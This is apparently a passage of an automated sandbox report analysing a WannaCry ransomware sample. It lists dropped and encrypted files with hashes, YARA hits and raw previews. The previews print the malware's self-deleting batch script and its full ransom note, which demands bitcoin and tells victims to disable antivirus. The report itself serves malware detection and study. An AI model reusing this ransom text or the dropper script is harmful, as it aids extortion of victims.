                                                                                                      Preview:WANACRY!.......|.....7.o.6yM.u.0....tY3.....-$.q.1PQ...6.h7A.w.xs...:M.T.......@......Z.<.......(=B5.J0.h..O......:|....j.5.\.....U............G.`.....8u.Y.3D.v>.u.3?=...UY.....q.T.........\Y......L..T.3o1Lp..F.F.*........./.gE...wf.&.P'?-|H..[.X...k.mSQ..............W].C..8..z..c.Y.M..dL}Z{.....%w.....-.6.4.{......M.@.:.NS.b.L..)cX..C...Ov.D...p.o..#}.....)...'.......=._..G0W\.:n3A.I....na.^....:..A..s.....D.....W....'.%.1.6.Cj..K.M~*.<w..F.@..c_.....KG..ZV9FJ...>.!......@..dI.%....'{.*.x...h....R.*.-...../ ..C..7#..].>.!~.}.Iv.zv^a&..j.p.......;.....A.[.a.......[.K..w......G9R2.GJG...|......Bt6,+.A[.k.)0K..g..g../...%.u......a8..tM.*..2..08.7...|../p..*....S.%n.....[.(..|k|NW~u.N.>r.y.....o.h....w.<*>.}....WaCw...W.y..y..O6...9.........-.D.3.th$0F..u.V....n.+*..:.{`~..6m..8......6...H..L...ud....V]~+..X.....jeqz...aD....Y....o.5./.....D."........tM..-..iF...........8K{.O.HyD...g...U!.j....E<.o..=.\#R.EP...>666....7HY.............^.q.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):21400
                                                                                                      Entropy (8bit):7.991798201117121
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:KzOCSZLgquYGz5kkXQkJHBquTdQOLUXKHf8p1zzx0HI1jKQHdq5C/bwqivZpCWEx:YEZLgquYV0JHHwKUp1iI1jKQ//bliv72
                                                                                                      MD5:9931800570210561596393239A08E6A5
                                                                                                      SHA1:B0017B331BC0559D62B10A3642DD4B26DAF99650
                                                                                                      SHA-256:02CEB7213BDD970FC1DCF943E8AD23FDBD1BBCFA32AB9EC5E290DE2F139F0BA7
                                                                                                      SHA-512:FE89673D7B968962A4226E7DBE0E94BADBE8C01734F075BD7FD6E05FAAC52DEEF895308A768505CC1E39B6AC123E41AD75AC625CEE8C9F48725BDEC830057CAE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......?q4...#)B...;..z..v.}U.p.2.rC.......h./..-.N.'z....^.=]y.x...(6{x. ^i.z.X`.......`....` G.Z.tP....M..P....T}Q.Y.K&.\.ap....d..B..]..Y2..x..e.G..=..\..+31O<.4F.A7.D...t.d.3.y......f.....).....$....UXa6..x.HC...M....}............O.k.-.Db@j.....sR........Z.F|.......r.......s.$..7....ID\....R.VH...$T..Y."..Vtz....a...2.1%.YC.@RECRh..._.\.t^.v....qJ....V....|..?..[.._...dw..mn]o!.{k..u..t....d......K.=.L=.(SZ8..v....B.R./G.......\....yN....2..8D...?Y.e......Y.|.[...h.W.F.x.6.u.z..xX...<.....N.Q.7.j=M.rj..H..(....c..x......x.F.......W...QS=._:..?..+X.y...q(R.Po0....g<...H.Jr..X...N?.Xi.ag..k.>.M.N.....B.I.p...p..Q...*...X.[..[....W.....a.V....w*.-.*..^........cc..T..5n...3..#..m......`...M...\..%...^.\".I..~m.....\V .&.;!0lX.*N...;.>.y..hu..K`?..L...s..Q.....^L...)..Zr{...M.+]>J..z....z...........J........S*}..pr....n..wH......}9(.....E.ed]..U...S.....b.e.....^..k!....y...3?...M.S......G-.u..:#..).'....&..r...>.N..$5b.0.....F!Jm@

                                                                                                      C:\Users\user\Desktop\00000000.eky

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:TTComp archive data, binary, 2K dictionary
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1284
                                                                                                      Entropy (8bit):7.874179608739199
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:DX1nwBmYMVWvjd+1PupyOOQsBSRA5zAO5mmyGhpJZIcrks:DX1nwBiVWx+1PNnBSRgNpJCcrl
                                                                                                      MD5:EEF0432F26669864A06D95D001B39B17
                                                                                                      SHA1:542CDA9E99DB253AFDC8F85643F3DC8182CE649D
                                                                                                      SHA-256:3408BED0F72E38E71E0E362CCCFB737B4F2F918FF6ED59F6108FD9A6B32642F8
                                                                                                      SHA-512:7955BF4304488E3922D053F93E6CC24CECF66753EA11DBB74282ACBA92DD616E723F52AF01D076CA98339A9AA11004060EBE4EC3497CC8BC7513395ADE467052
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:........b.nI-n.!....0.-....ju....$;.E}|.....//..3=....E?3..(.&...7.\...d|.kH..hX...]..uS.~.'..D$GEj......2x.8..o.y.E8.M.,.1..j,?h)....."s.d.j.`.".D.V........{..:@....r...y..=..G.ut..I....`.Z..o6.Jaw.W..<.1....,[..M..2... Y.a.....(.|b;Oa.....^.y.T.7F.P......0..-R...}O..B.Y...7......c....3M......s...Z.....F.4.....Av4W...r.P.mR..$..U)o.u..r..M8..7...&p.......#e...n..~..`.31.|.B.^O.".V{........(.s.i....OP..8.g....."..#... 3.#tC.h}.....pF.E._...z.........aP.1.H...CJq,...1Z'!2..G.&r.....S.......,...L./.....6...9.@.h..z*k......u../a......!..k.......2Yi....%.;2.y........y.&.a......'~..dS..l.!q....9....I8!~.WJ}j..V>,.8=.Nz=...JXX...l.9......... ^<z....dE...C......bJ..'$......W...bt.VnE.je."^..$.....S.'tO}...>..x..Z0+.K.+.k]/.......Y.-..M.H.{Z.*:...SL..=gT....Q..:%.U.."I.1.=.........Q.|.g...V\.p.mEC.x.......b...]=....P......N....*..N...j.b.;.............A...{.k!..D.M.jqn}.c\...F.%./..).A.....C..z......r>....,k|.._.L.x....H.{W..X`...LJ....0

                                                                                                      C:\Users\user\Desktop\00000000.pky

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:b.out overlay separate pure segmented object file V2.3 V3.0 86 Large Text Large Data Huge Objects Enabled
                                                                                                      Category:dropped
                                                                                                      Size (bytes):276
                                                                                                      Entropy (8bit):7.191450551593469
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:mtNAm9WA1pngsDEBuK7rEdQsV9Z/gxptsT7+AgYNjmq3f1cx3:Y3Fvn3YYK7rEDmptsTngYjNY3
                                                                                                      MD5:32B4DD95917443339A9BAFE5A94D42C1
                                                                                                      SHA1:8BAA96FE5705DCFDB0AF8CED6354D563BA1DB7E8
                                                                                                      SHA-256:9378A1DC5D2FE7B680ACA16251E1913BA5EDD9428202A485145360076A087066
                                                                                                      SHA-512:4AFEB2E1CFFF017E8EE91A0E94817597ED4D28AA62309009A88A1B57C624AF5E57EB2B6A58D4F52BA3D7FC6F6F4188B0DB53B385BE4FDBC68B2464A877C5C3F5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:........RSA1........EwT._....m6.cFHN.b.o$.,.........hd...#%..a.$.......EK..1:<@9../..d....g..k0*....>.O...3...ra....V.:.z.#.a..4...*Ib..l.!......Lx....~......p....P.!. ...j.Vq&...4..8,....}\.[..q&Gf.lG9AexS.^...F../.......Ca...8.......3...>.CO.l.ytj/!.59!..8.

                                                                                                      C:\Users\user\Desktop\00000000.res

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:modified
                                                                                                      Size (bytes):136
                                                                                                      Entropy (8bit):1.2233025807003515
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:3:Kjll/5P/lGLtRSrlll:KZ06r/l
                                                                                                      MD5:40A916661C368E511FF636536D001ACF
                                                                                                      SHA1:D0EA201230C2FC3B1FCE3F004889D2BDD922CA48
                                                                                                      SHA-256:3EF2E1E6721B36591343D16C71E1B71BBAE4B727B94A192C5448468DC63962EA
                                                                                                      SHA-512:03CF56B45258652AAFCFFEB30C71F1A197B1156C135DF03C57D5FA6FA47F0BEB13C7304C5D5BC24AFBD0816701651E8736DD766CCE1447BF2F2E5DA1E42EF4F7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:!WD..,...........................................................................................f...................f........N.V.....

                                                                                                      C:\Users\user\Desktop\133611722583794.bat

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:DOS batch file, ASCII text, with CRLF, CR line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):316
                                                                                                      Entropy (8bit):5.067197469242794
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:3:mKDDfewSiponv6xewImKFcsDT6MWlynJ96wYexi+XCrbPT6MWlynJfF06xiHYwc0:hqn4+B9TGoJgpPGoJ0F9a2T2ZLT2Ln
                                                                                                      MD5:70B5BF1FF46B32008E19BB544482FF97
                                                                                                      SHA1:EDF0A524FB6682672B3AA8D98EE48F85212B8C2D
                                                                                                      SHA-256:1A71C699D7C8744E9C648C2B2A2B4403E0A697DAC4FC5B5377ABD9BAE921C972
                                                                                                      SHA-512:0200AAFB050FE9212060FAA05C849F5A6353090FEB6CD631AEBED1180F06863736A63C0B5E7CFD9E4070740997AC59E6491F6E0A4C9CAAE135C97ED4F4410BAC
                                                                                                      Malicious:false
                                                                                                      Yara Hits:
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\133611722583794.bat, Author: Florian Roth
                                                                                                      Reputation:unknown
                                                                                                      Preview:@echo off...echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs...echo SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")>> m.vbs...echo om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe">> m.vbs...echo om.Save>> m.vbs...cscript.exe //nologo m.vbs...del m.vbs.....del /a %0..

                                                                                                      C:\Users\user\Desktop\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Desktop\@WanaDecryptor@.bmp

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                      File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1440054
                                                                                                      Entropy (8bit):0.3363393123555661
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                                                                                      MD5:C17170262312F3BE7027BC2CA825BF0C
                                                                                                      SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                                                                                      SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                                                                                      SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\Desktop\@WanaDecryptor@.exe

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                      Category:dropped
                                                                                                      Size (bytes):245760
                                                                                                      Entropy (8bit):6.278920408390635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                      Malicious:true
                                                                                                      Antivirus:
                                                                                                      • Antivirus: ReversingLabs, Detection: 97%
                                                                                                      • Antivirus: Virustotal, Detection: 91%, Browse
                                                                                                      Reputation:unknown
                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Windows\SysWOW64\cscript.exe
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Desktop\BJZFPPWAPT.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.813904112987394
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:o1+X6dusC9/x67aHj7RlRaqMJmknmPVw9Zhu3LsAkkrKkfM3n:ogMusqpH/RlR8mdVQrwIA3T+
                                                                                                      MD5:A299F6F68A98B193DA040065D0E10B11
                                                                                                      SHA1:821358A63BCC38A494443F545EDB8BDEEE3AA5F2
                                                                                                      SHA-256:CA79DFE3D37547F84602200D76BD54E0DE24AF0C992CBEB40487BDEA77EF5187
                                                                                                      SHA-512:A631375097ABFA9FFBB562EA190298A191C18BA38C94D7715B7D0D209509842C34FF7617D39284A2E2C944278271E0E82E3FBD5E8D3C7BD9B31CFF34788A0BDE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:. ..m.).......Z....9...n...'@.R....U....g.4vP....l..2...H!8_.N.zIUf...HYy.J..".q..Ea(.)*.......7)....6.:.`../m.......zS"B..D...u...r.{...i...9R.e..[..........I_....ZH..5m..SL..-|or.x.......oZ....zo.Y..y..NUC....xn...f...D.q."..4..H6...W.V...z..).....k...8y.`aB..9..f#.G.W)\.c...Q.)x....v....5<..q.'.f...p.+.pd.y(.u`...]H.....]y.q...+.X./.....+..+6.$E....%.B..>...U..,p.[....O-..t...[.............1._.=J2.....`.....o.....7.......Y.b@.L...w....*};I.......I.....N..;.EtuM.L.B....8).ki..... NZ..iD......>.V.(."../r5.................D6O.....R./....pB....P.u.=zF.K..4...U..V.V/?I.r~.4...R..Y^..ROc.v..PM9...&.@3{.......b._.u(E..38...O.&...>Vx....n.x.....H.&K.zO...[..:F4....+\.....H.3....P.$....r.JS.._.g....z7G.#.p. ....S..g..e.!nZ...).1..:jD7..&^-..XV......24..l.;....N.X\w....wF% ....~H.....(......@#.A..[..f.).._T`_0.-.....=..a.....1.:D......-\*.l..w./......3..G!>].'..y.dK.....P./r......O..........u.Z...%.bX.`.Y..[..E.q]..;...wx!E.,^Xl.g..c.l.d..e.k.

                                                                                                      C:\Users\user\Desktop\BJZFPPWAPT.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.840180131001117
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk0lHbRuunSYmToiYgqzb6LWRa5JvVvPYoFaDRtkSqfbInPKWJ1y:bk0ltxSY9Cqz2N9Io0lyS0a/q
                                                                                                      MD5:CC26A0C8958CE43937AB0AD553650336
                                                                                                      SHA1:56D686F4A1C66C05498FFEA196C553C75FA00572
                                                                                                      SHA-256:1F6160E3960A9197491139A297A67D62702A7B48F38F36BF90159BC31AF5ADBF
                                                                                                      SHA-512:6E386C8AED17E16964A9D2BB791ED5D714487D97834A43F2E633DC4A33ADB1D0EFD2501615E15DFA14BA86C78DF38CD044EFA5EC07A9DFCDF6AA5DA5808ED0F9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....c.2.v.Y..?j3.WNp..B.J"/.@..L...ig...1..yw."...c...8z..._.P.m$.B.9.+..IV.J..u...N.R....j....@.7.@.!W......;.N...^....f|Ik.a^..~.....e..x..M.l..I...p....&...x)..'.c.m39[..........3....=....R-!.V..-.np.,!nJ.'$.Oc...h.C..B{;*.`7.z..:.H..#.O..K..Vd`............i.h.=n.?.#../..n$.....!.....".._...&..?.....7Za.6.r..VA.>..x.y..E...f..G..W.GK.aj.w@K#....9.n.w.j.`}.h}G.p..s`5P..R_....a.XU...d...7O..cx.}.n....c.c..-.4.dFE\......+.LQ..>VD=}.w....[.1.yC..e].....F]...;K...%.Dc.........E....P...E....za.J4.....hU.<..$.o...S..)......J..p..g.`.tM.X...$.oV.....59..&_m.......>.........=..c...K...K....<......VD..C.W.8...We.AB..(.R...#......Y.1...e....zcks.Y.....C.......fS....O6|*H...w.(.SbI.&M:6..!.3LN.P...e(.t.......]@.+.S3.f&c....>"....<+}......jA.fs...]...q...'.....]AV..k)...[.quVI-..i...d......p{.{....ja..N|.>.p..V.Cs.0.#..3...>.n.x.?..s.r.Q9...W.[.p...}.....e....:=...g.A&.u..-E...E0s...g0u.H..QK<.;.8.....1..._.F./....d|.K..6j.3...h.pDv.S>

                                                                                                      C:\Users\user\Desktop\BJZFPPWAPT.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.840180131001117
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk0lHbRuunSYmToiYgqzb6LWRa5JvVvPYoFaDRtkSqfbInPKWJ1y:bk0ltxSY9Cqz2N9Io0lyS0a/q
                                                                                                      MD5:CC26A0C8958CE43937AB0AD553650336
                                                                                                      SHA1:56D686F4A1C66C05498FFEA196C553C75FA00572
                                                                                                      SHA-256:1F6160E3960A9197491139A297A67D62702A7B48F38F36BF90159BC31AF5ADBF
                                                                                                      SHA-512:6E386C8AED17E16964A9D2BB791ED5D714487D97834A43F2E633DC4A33ADB1D0EFD2501615E15DFA14BA86C78DF38CD044EFA5EC07A9DFCDF6AA5DA5808ED0F9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....c.2.v.Y..?j3.WNp..B.J"/.@..L...ig...1..yw."...c...8z..._.P.m$.B.9.+..IV.J..u...N.R....j....@.7.@.!W......;.N...^....f|Ik.a^..~.....e..x..M.l..I...p....&...x)..'.c.m39[..........3....=....R-!.V..-.np.,!nJ.'$.Oc...h.C..B{;*.`7.z..:.H..#.O..K..Vd`............i.h.=n.?.#../..n$.....!.....".._...&..?.....7Za.6.r..VA.>..x.y..E...f..G..W.GK.aj.w@K#....9.n.w.j.`}.h}G.p..s`5P..R_....a.XU...d...7O..cx.}.n....c.c..-.4.dFE\......+.LQ..>VD=}.w....[.1.yC..e].....F]...;K...%.Dc.........E....P...E....za.J4.....hU.<..$.o...S..)......J..p..g.`.tM.X...$.oV.....59..&_m.......>.........=..c...K...K....<......VD..C.W.8...We.AB..(.R...#......Y.1...e....zcks.Y.....C.......fS....O6|*H...w.(.SbI.&M:6..!.3LN.P...e(.t.......]@.+.S3.f&c....>"....<+}......jA.fs...]...q...'.....]AV..k)...[.quVI-..i...d......p{.{....ja..N|.>.p..V.Cs.0.#..3...>.n.x.?..s.r.Q9...W.[.p...}.....e....:=...g.A&.u..-E...E0s...g0u.H..QK<.;.8.....1..._.F./....d|.K..6j.3...h.pDv.S>

                                                                                                      C:\Users\user\Desktop\CZQKSDDMWR.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.818920841403511
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:jCc4RaA3s9GaW/ukACBa23YSOWcD4Vfht6SRqJy19D:ehgA3yW/ACBPYSnZRQy1B
                                                                                                      MD5:ADD1828A3157B125150614EDD6C1824C
                                                                                                      SHA1:AFB9B1107A8E8EEE8B3812DF35BA9C30E78F0B97
                                                                                                      SHA-256:B69C8F4707B0883DBA3DCB515A281DC9A57D0F77985551C1042F079360D31B52
                                                                                                      SHA-512:312AB8B0B9E02A0107A89B591D4520FB21B0DFEDB40723B8AB9E26C4EAA1D9C395AD3D52D29257A2590F9A0E97FBDC908EEFCA52665C9DAF177A0840C52ACCEA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:......!..2.KN..>....."..m..L.HO.l.&..'......#....F..@p...~,.Z....gWV..........3...YL2..D..".H4U...|p.ps1.g..~[2..1......2.J..H.-....Ftr.I.+-..V...3.K.3*^.6.r.B....W..<[.(.......f...M....Q.d-...Cv.....c%n$oA../.0b......*...]<......;..h.Z:r.....B.r...O.#..X.^..uT......xY..n.'J.v....M[...x.[..hR1...p.m.G...X....Cb...8.H...=B..M.u.P.\..?GQ....\..&.x!.f&...2.,m K../....y.(.B...Q.s...o...%.."....6....!....}.Iu.....p.^\s..;)..Vimm.......g...I.7...t.O...S.~.z..Vz.......O....t7.<..%...\(......\.......0.^D]Z.*H".5Y.<.<........I.........7.S].B%y..E.....N\.eK...4..M..._..8.b....-k,`. .....F..~$t.v!.C..[.<.#.Hz..yra.L....>{.vZnv.......|h.M.F`X=..Fs.d:.3...B=...o{...1#.A.R.&..ix.;..g.,V....Z....^O9.r..Q....=.......=..8..Zg.2...@.*ba...."...`..H..I.{;..c....o&..$.....H/...-..A.O.u,0...!..n._|.....A..P.b....).$......m..Mn.CO.Oy>L)t.......%.*.,.g.....e|...Y.l..]Bj%q.X!.3`.|....7Wh~.tq..Af..NaH....{.S'...N....>)..E.+..s.U!...:~(....~...`...."..

                                                                                                      C:\Users\user\Desktop\CZQKSDDMWR.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850092286232958
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkX5BIKIiTyJn6EJNBB+ZVARlhj7wUkYw+1oVWRzzwzkravwCvJ5UVpB6Ji4:bkJBIlYKNBB+oj7LGSzzwzkrwvy6T
                                                                                                      MD5:525DA0494556157CD284A8802CE1703B
                                                                                                      SHA1:D8B006EB9E186C4FAD6B7B024C6CA459982615D0
                                                                                                      SHA-256:7399DB986F0C83B37E0BD982086DBCAE17F304FCFCECF0080DA41809E5F02946
                                                                                                      SHA-512:B6366C3DFC0ED253DB7136AA10BD6C04AD15982A1FED4990EB8B56417D2B64B92F0644A8B8D01052CA0D355404F30433C6FB75448BF139A5E5583F6D239ED55A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
